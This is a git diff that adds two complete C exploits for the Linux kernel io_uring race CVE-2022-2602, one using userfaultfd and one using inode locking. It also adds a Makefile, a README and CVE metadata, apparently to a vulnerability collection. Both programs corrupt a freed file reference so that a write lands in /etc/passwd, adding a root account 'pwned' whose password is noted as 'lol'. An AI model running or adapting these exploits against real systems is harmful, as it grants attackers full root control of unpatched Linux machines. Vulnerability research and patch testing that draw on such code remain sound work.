diff --git a/cve/linux-kernel/2022/CVE-2022-2602/Makefile b/cve/linux-kernel/2022/CVE-2022-2602/Makefile new file mode 100644 index 0000000000000000000000000000000000000000..3c91cfce48185d72d4a92f3e857342fa8fdeae94 --- /dev/null +++ b/cve/linux-kernel/2022/CVE-2022-2602/Makefile @@ -0,0 +1,10 @@ +#Note: make sure you have liburing-dev installed on your system +FILE_1 := poc_inode_locking +FILE_2 := poc_userfaultfd + +FILES := $(FILE_1).c $(FILE_2).c + +all: $(FILES) + gcc $(FILE_1).c -static -l:liburing.a -o $(FILE_1).o + gcc $(FILE_2).c -static -l:liburing.a -o $(FILE_2).o + diff --git a/cve/linux-kernel/2022/CVE-2022-2602/README.md b/cve/linux-kernel/2022/CVE-2022-2602/README.md new file mode 100644 index 0000000000000000000000000000000000000000..416d4d1601cce2b7fc9b650a210dffdd73a612a5 --- /dev/null +++ b/cve/linux-kernel/2022/CVE-2022-2602/README.md @@ -0,0 +1,10 @@ +# CVE-2022-2602 + +This repository contains exploits for CVE-2022-2602. There are two versions of it: + +* Exploit using userfaultfd technique. +* Exploit using inode locking technique. + +Enjoy! :) + +~LukeGix diff --git a/cve/linux-kernel/2022/CVE-2022-2602/poc_inode_locking.c b/cve/linux-kernel/2022/CVE-2022-2602/poc_inode_locking.c new file mode 100644 index 0000000000000000000000000000000000000000..0edd8283863aa2cd589edbd61a32d72d42d505ea --- /dev/null +++ b/cve/linux-kernel/2022/CVE-2022-2602/poc_inode_locking.c @@ -0,0 +1,229 @@ +#define _GNU_SOURCE + +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include + +#define GREEN(x) printf("\033[0;32m"); printf(x); printf("\033[0m"); +#define RESET printf("\033[0m") + +#define SPIN ({ GREEN("[/]"); \ + GREEN("\b\b-]"); \ + GREEN("\b\b\\]"); \ + GREEN("\b\b|]"); \ + GREEN("\b\b-]"); \ + GREEN("\b\b|]"); \ + GREEN("\b\b\b");\ +}); + +int *start_write; + +void pin_cpu(int num){ + cpu_set_t mask; + CPU_ZERO(&mask); + CPU_SET(num, &mask); + int result = sched_setaffinity(0, sizeof(mask), &mask); +} + + +void *slow_write() { + + printf("[+] Start slow write to get the lock\n"); + int fd = open("/tmp/rwA", 1); + + if (fd < 0) { + perror("[!] error open file"); + exit(-1); + } + + unsigned long int addr = 0x30000000; + int offset; + for(offset = 0; offset < 0x80000 / 20; offset++) { + void *r = mmap((void *)(addr + offset * 0x1000), 0x1000, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, 0, 0); + if (r < 0) { + printf("[!] allocate failed at 0x%x\n", offset); + } + } + + assert(offset > 0); + void *mem = (void *)(addr); + memcpy(mem, "hhhhh", 5); + + struct iovec iov[20]; + + for (int i = 0; i < 20; i++) { + iov[i].iov_base = mem; + iov[i].iov_len = (offset - 1) * 0x1000; + } + + *start_write = 1; + + if (writev(fd, iov, 20) < 0) { + perror("[!] slow write"); + } + + RESET; + printf("\n[+] write done!\n"); + *start_write = -1; + exit(0); +} + + + +struct iovec iov[12]; + +int sendfd(int s, int fd){ + + struct msghdr msg; + char buf[4096]; + struct cmsghdr *cmsg; + int fds[1] = { fd }; + memset(&msg, 0, sizeof(msg)); + memset(buf, 0, sizeof(buf)); + msg.msg_control = buf; + msg.msg_controllen = sizeof(buf); + cmsg = CMSG_FIRSTHDR(&msg); + cmsg->cmsg_level = SOL_SOCKET; + cmsg->cmsg_type = SCM_RIGHTS; + cmsg->cmsg_len = CMSG_LEN(sizeof(fds)); + memcpy(CMSG_DATA(cmsg), fds, sizeof(fds)); + msg.msg_controllen = CMSG_SPACE(sizeof(fds)); + sendmsg(s, &msg, 0); +} + + + +int io_uring_setup(int r, void *p){ + return syscall(__NR_io_uring_setup, r, p); +} + + + +int io_uring_enter(unsigned int fd, unsigned int to_submit, unsigned int min_complete, unsigned int flags, sigset_t *sig){ + return syscall(__NR_io_uring_enter, fd, to_submit, min_complete, flags, sig); +} + + + +int io_uring_register(unsigned int fd, unsigned int opcode, void *arg, unsigned int nr_args){ + return syscall(__NR_io_uring_register, fd, opcode, arg, nr_args); +} + + + +int prepare_request(int fd, struct io_uring_params *params, struct io_uring *ring){ + + struct io_uring_sqe *sqe; + io_uring_queue_mmap(fd, params, ring); + sqe = io_uring_get_sqe(ring); + sqe->opcode = IORING_OP_WRITEV; + sqe->fd = 1; + sqe->addr = (long) iov; + sqe->len = 1; + sqe->flags = IOSQE_FIXED_FILE; +} + + +int main(int argc, char **argv){ + + pthread_t t; + struct io_uring ring; + int fd; + struct io_uring_params *params; + int rfd[3]; + int s[2]; + int target_fd; + start_write = (int *)mmap(NULL, sizeof(int), PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0); + assert(start_write != (int *)-1); + + *start_write = 0; + + // Password for new root user --> "lol" + + iov[0].iov_base = "pwned:$1$aa$Sc4m1DBsyHWbRbwmIbGHq1:0:0:/root:/root:/bin/sh\n"; + iov[0].iov_len = 59; + iov[1].iov_base = "hello, world!\n"; + iov[1].iov_len = 14; + iov[2].iov_base = "hello, world!\n"; + iov[2].iov_len = 14; + iov[10].iov_base = "hello, world!\n"; + iov[10].iov_len = 14; + iov[11].iov_base = "hello, world!\n"; + iov[11].iov_len = 14; + + socketpair(AF_UNIX, SOCK_DGRAM, 0, s); + + params = malloc(sizeof(*params)); + memset(params, 0, sizeof(*params)); + params->flags = IORING_SETUP_SQPOLL; + + fd = io_uring_setup(32, params); + rfd[0] = s[1]; + rfd[1] = open("/tmp/rwA", O_RDWR | O_CREAT | O_APPEND, 0644); + + io_uring_register(fd, IORING_REGISTER_FILES, rfd, 2); + close(rfd[1]); + + sendfd(s[0], fd); + close(s[0]); + close(s[1]); + printf("[+] Creating thread\n"); + pthread_create(&t, NULL, slow_write, NULL); + sleep(1); + prepare_request(fd, params, &ring); + printf("[+] Waiting for the other thread to get lock on file\n"); + while(*start_write == 0){ + SPIN + } + + printf("[+] Thread 1 got inode lock!\n"); + printf("[+] Submitting io_uring request\n"); + + io_uring_submit(&ring); + + sleep(2); + + printf("[+] Closing io_uring\n"); + + io_uring_queue_exit(&ring); + + if(!fork()){ + printf("[+] Triggering unix_gc...\n"); + close(socket(AF_UNIX, SOCK_DGRAM, 0)); + printf("unix_gc done!\n"); + exit(0); + } + + sleep(2); + printf("[+] Opening /etc/passwd in RDONLY...\n"); + + int tfd = open("/etc/passwd", O_RDONLY | O_DIRECT); + for(int i =0; i < 600; i++){ + open("/etc/passwd", O_RDONLY); + } + + printf("[+] Waiting for slow_write end...\n"); + while(*start_write == 1){ + SPIN + } + printf("\n"); + sleep(5); + printf("[+] Closing fd\n"); + close(fd); + printf("[+] Sleeping before exit ..\n"); + sleep(20); + return 0; +} diff --git a/cve/linux-kernel/2022/CVE-2022-2602/poc_userfaultfd.c b/cve/linux-kernel/2022/CVE-2022-2602/poc_userfaultfd.c new file mode 100644 index 0000000000000000000000000000000000000000..af756b01b5d3a58ba6f0a0df23f4c929c6ec96d3 --- /dev/null +++ b/cve/linux-kernel/2022/CVE-2022-2602/poc_userfaultfd.c @@ -0,0 +1,194 @@ +#define _GNU_SOURCE +#include +#include +#include +#include + +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include + +static int userfaultfd(int flags) +{ + return syscall(__NR_userfaultfd, flags); +} + +static char buffer[4096]; +static void fault_manager(int ufd) +{ + struct uffd_msg msg; + struct uffdio_copy copy; + read(ufd, &msg, sizeof(msg)); + if (msg.event != UFFD_EVENT_PAGEFAULT) + err(1, "event not pagefault"); + copy.dst = msg.arg.pagefault.address; + copy.src = (long) buffer; + copy.len = 4096; + copy.mode = 0; + copy.copy = 0; + printf("[*] Page fault handler sleeping .. \n"); + sleep(3); + ioctl(ufd, UFFDIO_COPY, ©); + printf("[*] Page fault handler released\n"); + close(ufd); +} + +static char *bogus; + +static void start_ufd(int ufd) +{ + struct uffdio_api api; + struct uffdio_register reg; + + bogus = mmap(NULL, 4096, PROT_READ, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0); + + api.api = UFFD_API; + api.features = 0; + api.ioctls = 0; + ioctl(ufd, UFFDIO_API, &api); + + reg.range.start = (long) bogus; + reg.range.len = 4096; + reg.mode = UFFDIO_REGISTER_MODE_MISSING; + reg.ioctls = 0; + + ioctl(ufd, UFFDIO_REGISTER, ®); +} + + +int sendfd(int s, int fd) +{ + struct msghdr msg; + char buf[4096]; + struct cmsghdr *cmsg; + int fds[1] = { fd }; + + memset(&msg, 0, sizeof(msg)); + memset(buf, 0, sizeof(buf)); + + msg.msg_control = buf; + msg.msg_controllen = sizeof(buf); + + cmsg = CMSG_FIRSTHDR(&msg); + cmsg->cmsg_level = SOL_SOCKET; + cmsg->cmsg_type = SCM_RIGHTS; + cmsg->cmsg_len = CMSG_LEN(sizeof(fds)); + memcpy(CMSG_DATA(cmsg), fds, sizeof(fds)); + + msg.msg_controllen = CMSG_SPACE(sizeof(fds)); + + sendmsg(s, &msg, 0); +} + +int io_uring_setup(int r, void *p) +{ + return syscall(__NR_io_uring_setup, r, p); +} + +int io_uring_enter(unsigned int fd, unsigned int to_submit, unsigned int min_complete, unsigned int flags, sigset_t *sig) +{ + return syscall(__NR_io_uring_enter, fd, to_submit, min_complete, flags, sig); +} + +int io_uring_register(unsigned int fd, unsigned int opcode, void *arg, unsigned int nr_args) +{ + return syscall(__NR_io_uring_register, fd, opcode, arg, nr_args); +} + +int prepare_request(int fd, struct io_uring_params *params, struct io_uring *ring) +{ + struct io_uring_sqe *sqe; + io_uring_queue_mmap(fd, params, ring); + sqe = io_uring_get_sqe(ring); + sqe->opcode = IORING_OP_WRITEV; + sqe->fd = 1; + sqe->addr = (long) bogus; + sqe->len = 12; + sqe->flags = IOSQE_FIXED_FILE; +} + +int main(int argc, char **argv) +{ + int ufd; + pid_t manager; + + struct io_uring ring; + int fd; + struct io_uring_params *params; + int rfd[32]; + int s[2]; + int backup_fd; + + struct iovec *iov; + + int target_fd; + + iov = (void *) buffer; + // The password for the new root user is "lol" + iov[0].iov_base = "pwned:$1$aa$Sc4m1DBsyHWbRbwmIbGHq1:0:0:/root:/root:/bin/sh\n"; + iov[0].iov_len = 59; + iov[1].iov_base = ""; + iov[1].iov_len = 0; + iov[2].iov_base = ""; + iov[2].iov_len = 0; + iov[10].iov_base = ""; + iov[10].iov_len = 0; + iov[11].iov_base = ""; + iov[11].iov_len = 0; + + ufd = userfaultfd(0); + if (ufd < 0) + err(1, "userfaultfd"); + start_ufd(ufd); + + if ((manager = fork()) == 0) { + fault_manager(ufd); + exit(0); + } + close(ufd); + + socketpair(AF_UNIX, SOCK_DGRAM, 0, s); + + params = malloc(sizeof(*params)); + memset(params, 0, sizeof(*params)); + params->flags = IORING_SETUP_SQPOLL; + fd = io_uring_setup(32, params); + + rfd[0] = s[1]; + rfd[1] = open("/tmp/rwA", O_RDWR | O_CREAT | O_APPEND, 0644); + io_uring_register(fd, IORING_REGISTER_FILES, rfd, 2); + close(rfd[1]); + + sendfd(s[0], fd); + + close(s[0]); + close(s[1]); + + prepare_request(fd, params, &ring); + io_uring_submit(&ring); + + io_uring_queue_exit(&ring); + + if(!fork()){ + printf("[*] Triggering unix_gc and freeing the registered fd\n"); + close(socket(AF_UNIX, SOCK_DGRAM, 0)); + printf("[*] CLOSING ..\n"); + exit(0); + } + + sleep(1); + printf("[*] Opening /etc/passwd in RDONLY (IT WILL DO THE WRITEV ANYWAY!!!!!!) \n"); + int tfd = open("/etc/passwd", O_RDONLY | O_DIRECT); + wait(NULL); + wait(NULL); + printf("[*] Sleeping before exit ..\n"); + sleep(6); + return 0; +} diff --git a/cve/linux-kernel/2022/yaml/CVE-2022-2602.yaml b/cve/linux-kernel/2022/yaml/CVE-2022-2602.yaml new file mode 100644 index 0000000000000000000000000000000000000000..cf70a4aab8ab97e81c8399e5d9b6f3fabd86c29b --- /dev/null +++ b/cve/linux-kernel/2022/yaml/CVE-2022-2602.yaml @@ -0,0 +1,19 @@ +id: CVE-2022-2602 +source: https://github.com/LukeGix/CVE-2022-2602 +info: + name: Linux kernel是美国Linux基金会的开源操作系统Linux所使用的内核。 + severity: medium + description: | + Linux kernel 5.10.149-1之前版本存在安全漏洞,该漏洞源于发现处理io_uring请求和Unix套接字垃圾收集器之间的竞争,攻击者可以利用此漏洞进行本地权限提升。 + scope-of-influence: + Linux kernel(5.x~6.1-rc1) + reference: + - https://www.cnnvd.org.cn/home/globalSearch?keyword=CVE-2022-2602 + classification: + cvss-metrics: CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H + cvss-score: 7.8 + cve-id: CVE-2022-2602 + cwe-id: CWE-416 + cnvd-id: None + kve-id: None + tags: 权限提升 \ No newline at end of file diff --git a/openkylin_list.yaml b/openkylin_list.yaml index 33f85b847ffbe03833f5dd8d6f37de0067004cc1..f5d2ea534830bc6a920a5e314452d54a422f06ac 100644 --- a/openkylin_list.yaml +++ b/openkylin_list.yaml @@ -80,6 +80,7 @@ cve: - CVE-2020-12351 - CVE-2021-43267 - CVE-2022-29582 + - CVE-2022-2602 sudo: - CVE-2019-18634 - CVE-2021-3156